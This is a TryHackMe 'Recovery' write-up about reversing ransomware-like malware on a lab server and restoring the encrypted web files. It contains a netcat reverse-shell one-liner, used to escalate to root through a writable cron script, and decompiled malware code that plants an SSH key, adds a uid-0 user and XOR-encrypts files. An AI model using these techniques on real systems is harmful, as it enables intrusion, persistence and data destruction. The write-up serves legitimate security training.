Before we begin, you can access this room by creating an account with tryhackme.com and browsing to this link to join it, or by simply searching for “Recovery” under the Hacktivities tab.

This was quite an interesting room to work on, rather different from the usual boot 2 root scenarios we get.

We are given a web server which has been infected by malware and all the files have been encrypted.

Alex has given us his login credentials via SSH but every time you try to access the webserver, a script runs spamming your shell and logging you out:

ssh alex@recoveryserver

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Aug  1 09:02:18 2020 from 10.11.12.168

alex@recoveryserver:~$ YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
logout
[1]+  Terminated              while :; do
    echo "YOU DIDN'T SAY THE MAGIC WORD!";
done

This is a reference to a Jurassic Park scene.

Regaining Access

In order to run commands via ssh, you don’t actually have to connect to a shell first. You can run them directly upon connection like so:

ssh alex@recoveryserver echo 'Please'
alex@recoveryserver's password: 
Please

As you can see, this will not trigger the malware script which logs us out, therefore, we have command execution.

Finding the Source of the Spam Script

Let’s check alex’s .bashrc file as that’s an ideal place to put code that runs upon each login.

ssh alex@recoveryserver cat /home/alex/.bashrc       

At the end of the file, you can find this entry:

while :; do echo "YOU DIDN'T SAY THE MAGIC WORD!"; done &    

We don’t see, however, the part that logs us out - it is most likely separate. Let’s deal with that later.

It’s best if we can restore the original .bashrc file and get rid of the one that’s causing us issues. You will usually be able to find a backup of it in /etc/skel, which is the case here as well:

vlad@kali:~/tryhackme/rooms/in_progress/recovery$ ssh alex@recoveryserver ls -la /etc/skel
alex@recoveryserver's password: 
total 20
drwxr-xr-x 2 root root 4096 May 14 14:50 .
drwxr-xr-x 1 root root 4096 Jun 17 21:33 ..
-rw-r--r-- 1 root root  220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 root root 3526 Apr 18  2019 .bashrc
-rw-r--r-- 1 root root  807 Apr 18  2019 .profile

To perform a restore, simply move the original one in the path of the existing one:

mv /etc/skel/.bashrc /home/alex/.bashrc
alex@recoveryserver's password: 
mv: cannot move '/etc/skel/.bashrc' to '/home/alex/.bashrc': Permission denied

Hmm… that didn’t work. Let’s see what permissions we have on our own .bashrc file:

ssh alex@recoveryserver ls -la /home/alex/.bashrc
alex@recoveryserver's password: 
-rw-r--r-- 1 alex alex 3586 Jun 17 21:21 /home/alex/.bashrc

It turns out that we can only read it. Since it’s in our home path, we can probably change permissions on it, so let’s add write access as well so we can modify it:

ssh alex@recoveryserver chmod 664 /home/alex/.bashrc
-rw-rw-r-- 1 alex alex 3586 Jun 17 21:21 /home/alex/.bashrc

Now, let’s try to rename it:

ssh alex@recoveryserver mv /home/alex/.bashrc /home/alex/.old_bashrc

And copy the original one back in our home folder:

ssh alex@recoveryserver cp /etc/skel/.bashrc /home/alex/.bashrc
-rw-r--r-- 1 alex alex 3526 Aug  1 09:39 /home/alex/.bashrc

Success. What about trying to ssh into the box now?

vlad@kali:~/tryhackme/rooms/in_progress/recovery$ ssh alex@recoveryserver
alex@recoveryserver's password: 
Linux recoveryserver 4.15.0-106-generic #107-Ubuntu SMP Thu Jun 4 11:27:52 UTC 2020 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Aug  1 09:08:58 2020 from 10.11.12.168
alex@recoveryserver:~$

We can connect to the box just fine now, however, we’re being automatically logged out after about 30 seconds although it doesn’t seem to be constant. Sometimes it’s less, sometimes more.

alex@recoveryserver:~$ logout
Connection to recoveryserver closed.

I have found that we can bypass the logout script by generating a reverse shell. In the /tmp folder we can invoke “.” to run everything inside a script file:

Temporary Reverse Shell to bypass the logout script

I have then created a test file to which I have appended a reverse shell:

alex@recoveryserver:/tmp$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.12.168 9001 >/tmp/f' > rev.sh

After setting up a listener, I am connected back as alex in a different shell and we are no longer being logged out, which allows us to further investigate the box without any interference.

Note: this is absolutely optional - just something I was trying at that time. You can easily find the cronjob logging you out and modifying the binary accordingly.

Finding the Source of the Logout Script

Now - let’s actually find out what’s logging us off. I’ve started by looking at all the crontab locations.

  • I’ve looked at alex’s crontab jobs with crontab -l but there were none
  • tried checking /etc/crontab but found nothing out of the ordinary
  • I then checked etc/cron.d and found a binary called ‘evil
alex@recoveryserver:~$ cd /etc/cron.d
alex@recoveryserver:/etc/cron.d$ ls -la
total 16
drwxr-xr-x 1 root root 4096 Jun 17 21:22 .
drwxr-xr-x 1 root root 4096 Jun 17 21:33 ..
-rw-r--r-- 1 root root  102 Oct 11  2019 .placeholder
-rwxr-xr-x 1 root root   61 Jun 17 21:22 evil

This binary runs the following script:

* * * * * root /opt/brilliant_script.sh 2>&1 >/tmp/testlog

Let’s see what this ‘brilliant script’ does:

#!/bin/sh
for i in $(ps aux | grep bash | grep -v grep | awk '{print $2}'); do kill $i; done;

Okay, so this is looking for all processes running bash and kills them. Let’s see what can we do with it:

ls -la

drwx------ 2 root root 4096 Jun 17 21:22 .fixutil
-rwxrwxrwx 1 root root   95 Jun 17 21:22 brilliant_script.sh

Interesting, it is running as root and we have full access to it, so I’ll modify the file to elevate my shell to root, just like I did before to escape the scheduled logoff. To do that, I have changed the contents of brilliant_script.sh to the below and set up a listener on my kali machine:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.12.168 9001 >/tmp/f

Gaining root access

Reversing the Malware

Now that we regained control, it’s time to find out what has actually happened and see how we can get our files back.

Analyzing the fixutil Binary

We know that Alex had a weird binary in his  home folder that most likely is malware, so let’s download it locally and analyze it.

scp alex@recoveryserver:/home/alex/fixutil .
alex@recoveryserver's password: 
fixutil                                                                                                                                                   100%   36KB 152.6KB/s   00:00    
vlad@kali:~/tryhackme/rooms/in_progress/recovery$ ls
fixutil

Note: needless to say, do not run it locally unless you understand what it’s doing and accept the risk.

I have opened it with Ghidra and performed an analysis on the binary, this is what’s it doing:

undefined8 main(void)

{
  FILE *__s;
  
  __s = fopen("/home/alex/.bashrc","a");
  fwrite("\n\nwhile :; do echo \"YOU DIDN\'T SAY THE MAGIC WORD!\"; done &\n",1,0x3c,__s);
  fclose(__s);
  system("/bin/cp /lib/x86_64-linux-gnu/liblogging.so /tmp/logging.so");
  __s = fopen("/lib/x86_64-linux-gnu/liblogging.so","wb");
  fwrite(&bin2c_liblogging_so,0x5a88,1,__s);
  fclose(__s);
  system("echo pwned | /bin/admin > /dev/null");
  return 0;
}

Apart from the spam we were getting initially, we can see that the program is also copying liblogging.so to /tmp and modifying it to logging.so, however, it is not doing anything with it, instead, it opens the original liblogging.so binary and writes data to it, after which it echoes the string ‘pwned’ into another binary - /bin/admin.

Let’s get these downloaded as well and have a look at them:

Analyzing the admin.sh Binary

undefined8 main(void)

{
  int iVar1;
  size_t local_20;
  char *local_18;
  char *local_10;
  
  setresuid(0,0,0);
  setresgid(0,0,0);
  puts("Welcome to the Recoverysoft Administration Tool! Please input your password:");
  local_10 = "youdontneedtofindthepassword\n";
  local_18 = (char *)0x0;
  local_20 = 0x100;
  getline(&local_18,&local_20,stdin);
  iVar1 = strcmp(local_18,local_10);
  if (iVar1 == 0) {
    puts("This section is currently under development, sorry.");
  }
  else {
    puts("Incorrect password! This will be logged!");
    LogIncorrectAttempt(local_18);
  }
  return 0;
}

This script doesn’t seem to do much on its own. If the password is correct, it modifies some local variables and returns a string saying the section is under development, otherwise it invokes the LogIncorrectAttempt function.

Analyzing the liblogging.so Binary

void LogIncorrectAttempt(char *attempt)

{
  time_t tVar1;
  FILE *__stream;
  char *ssh_key;
  FILE *authorized_keys;
  FILE *script_f;
  FILE *cron_f;
  
  system("/bin/mv /tmp/logging.so /lib/x86_64-linux-gnu/oldliblogging.so");
  tVar1 = time((time_t *)0x0);
  srand((uint)tVar1);
  __stream = fopen("/root/.ssh/authorized_keys","w");
  fprintf(__stream,"%s\n",
                    
          "ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABgQC4U9gOtekRWtwKBl3+ysB5WfybPSi/rpvDDfvRNZ+BL81mQYTMPbY3bD6u2eYYXfWMK6k3XsILBizVqCqQVNZeyUj5x2FFEZ0R+HmxXQkBi+yNMYoJYgHQyngIezdBsparH62RUTfmUbwGlT0kxqnnZQsJbXnUCspo0zOhl8tK4qr8uy2PAG7QbqzL/epfRPjBn4f3CWV+EwkkkE9XLpJ+SHWPl8JSdiD/gTIMd0P9TD1Ig5w6F0f4yeGxIVIjxrA4MCHMmo1U9vsIkThfLq80tWp9VzwHjaev9jnTFg+bZnTxIoT4+Q2gLV124qdqzw54x9AmYfoOfH9tBwr0+pJNWi1CtGo1YUaHeQsA8fska7fHeS6czjVr6Y76QiWqq44q/BzdQ9klTEkNSs+2sQs9csUybWsXumipViSUla63cLnkfFr3D9nzDbFHek6OEk+ZLyp8YEaghHMfB6IFhu09w5cPZApTngxyzJU7CgwiccZtXURnBmKV72rFO6ISrus= root@recovery"
         );
  fclose(__stream);
  system("/usr/sbin/useradd --non-unique -u 0 -g 0 security 2>/dev/null");
  system(
        "/bin/echo\'security:$6$he6jYubzsBX1d7yv$sD49N/rXD5NQT.uoJhF7libv6HLc0/EZOqZjcvbXDoua44ZP3VrUcicSnlmvWwAFTqHflivo5vmYjKR13gZci/\' | /usr/sbin/chpasswd -e"
        );
  XOREncryptWebFiles();
  __stream = fopen("/opt/brilliant_script.sh","w");
  fwrite(
         "#!/bin/sh\n\nfor i in $(ps aux | grep bash | grep -v grep | awk \'{print $2}\'); do kill$i; done;\n"
         ,1,0x5f,__stream);
  fclose(__stream);
  __stream = fopen("/etc/cron.d/evil","w");
  fwrite("\n* * * * * root /opt/brilliant_script.sh 2>&1 >/tmp/testlog\n\n",1,0x3d,__stream);
  fclose(__stream);
  chmod("/opt/brilliant_script.sh",0x1ff);
  chmod("/etc/cron.d/evil",0x1ed);
  return;
}

This is where the magic happens. First, the attacker is moving the liblogging.so copy (which is the original binary) back to its original place but renames it to oldlibloggingso.

Next, the attacker is writing its own public key into the authorized_keys folder, after which he creates a new user and changes its password.

Afterwards, a function is called - XOREncryptWebFiles* - which is encrypting our web files.

The last lines of the code contain the logoff script and the brilliant_script.sh invocation.

Analyzing the XOREncryptWebFiles Function

Let’s have a look at this encrypt function maybe we can understand how to get our files back

void XOREncryptWebFiles(void)

{
  int iVar1;
  char *str;
  FILE *__stream;
  char **webfiles;
  long lVar2;
  stat *psVar3;
  long in_FS_OFFSET;
  byte bVar4;
  int iStack200;
  stat sStack168;
  long lStack16;
  
  bVar4 = 0;
  lStack16 = *(long *)(in_FS_OFFSET + 0x28);
  str = (char *)malloc(0x11);
  if (str == (char *)0x0) {
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  rand_string(str,0x10);
  lVar2 = 0x12;
  psVar3 = &sStack168;
  while (lVar2 != 0) {
    lVar2 = lVar2 + -1;
    psVar3->st_dev = 0;
    psVar3 = (stat *)(&psVar3->st_dev + (ulong)bVar4 * 0x1ffffffffffffffe + 1);
  }
  iVar1 = stat(encryption_key_dir,&sStack168);
  if (iVar1 == -1) {
    mkdir(encryption_key_dir,0x1c0);
  }
  __stream = fopen("/opt/.fixutil/backup.txt","a");
  fprintf(__stream,"%s\n",str);
  fclose(__stream);
  webfiles = (char **)malloc(8);
  if (webfiles != (char **)0x0) {
    iVar1 = GetWebFiles(webfiles,8);
    iStack200 = 0;
    while (iStack200 < iVar1) {
      XORFile(webfiles[iStack200],str);
      free(webfiles[iStack200]);
      iStack200 = iStack200 + 1;
    }
    free(webfiles);
    if (lStack16 == *(long *)(in_FS_OFFSET + 0x28)) {
      return;
    }
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
                    /* WARNING: Subroutine does not return */
  exit(1);
}

This function is generating a random symmetric key and stores it in backup.txt. We can be use this to decrypt our files.

The XORFile function is the actual function that encrypts our web files by performing a xor operation.

void XORFile(char *f_path,char *encryption_key)

{
  int iVar1;
  FILE *__stream;
  long lVar2;
  void *__ptr;
  size_t sVar3;
  int i;
  int size;
  int index_of_encryption_key;
  FILE *webfile_r;
  char *f_contents;
  FILE *webfile_w;
  
  __stream = fopen(f_path,"rb");
  fseek(__stream,0,2);
  lVar2 = ftell(__stream);
  iVar1 = (int)lVar2;
  fseek(__stream,0,0);
  __ptr = malloc((long)iVar1);
  fread(__ptr,1,(long)iVar1,__stream);
  fclose(__stream);
  i = 0;
  while (i < iVar1) {
    sVar3 = strlen(encryption_key);
    *(byte *)((long)__ptr + (long)i) =
         *(byte *)((long)__ptr + (long)i) ^ encryption_key[(int)((ulong)(long)i % sVar3)];
    i = i + 1;
  }
  __stream = fopen(f_path,"wb");
  fwrite(__ptr,1,(long)iVar1,__stream);
  fclose(__stream);
  return;
}

Ok, now that we understand what’s happening - let’s get back our server!

Decrypting the Web Files

Let’s download the encrypted web files locally and try to decrypt them with the key we got from backup.txt:

scp alex@recoveryserver:/usr/local/apache2/htdocs/*.* .
alex@recoveryserver's password: 
index.html                                                100%  997    11.7KB/s   00:00    
reallyimportant.txt                                       100%  109     1.3KB/s   00:00    
todo.html                                                 100%   85     1.0KB/s   00:00

To decrypt these, I have used xor-decrypt

python3 xor-decrypt/xor-decrypt.py -i index.html -o index_rec.html -k 'AdsiXXXXXXXX' -d

Steps to Obtain All Flags

To obtain the flags you have to:

  1. restore the original .bashrc file in alex’s profile and remove the tampered one;
  2. remove the fixutil, evil & brilliant_script.sh binaries;
  3. remove the infected liblogging.so file and restore the original one (rename oldliblogging.so to liblogging.so);
  4. remove the ‘security’ user;
  5. remove the entry from authorized_keys or delete the authorized_keys.txt file altogether;
  6. decrypt and restore the webserver content.